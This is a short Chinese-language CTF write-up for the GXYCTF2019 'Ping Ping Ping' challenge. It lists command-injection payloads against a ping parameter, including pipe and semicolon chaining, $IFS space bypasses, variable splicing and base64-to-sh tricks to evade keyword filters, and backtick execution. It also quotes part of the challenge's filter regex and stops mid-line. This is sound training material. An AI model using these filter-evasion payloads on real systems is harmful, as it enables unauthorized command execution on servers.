[GXYCTF2019]Ping Ping Ping
0x00 知识点 命令执行变量拼接 /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 过滤bash用sh执行 echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 内联执行 将反引号内命令的输出作为输入执行 ?ip=127.0.0.1;cat$IFS$9`ls` 0x01 解题 打开题目,联想到XCTF中的一道题目 命令执行的方法大抵是加上管道符或者分号,那么试试管道符 /?ip=127.0.0.1|ls 看到flag.php index.php 试着读flag.php 看到提示空格被ban: 绕过空格的方法大概有以下几种: $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09 ps:有时会禁用cat: 解决方法是使用tac反向输出命令: linux命令中可以加\,所以甚至可以ca\t /fl\ag 尝试 发现{被ban $IFS$1: flag被ban。。 我们先来试着读取一下index.php: /?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\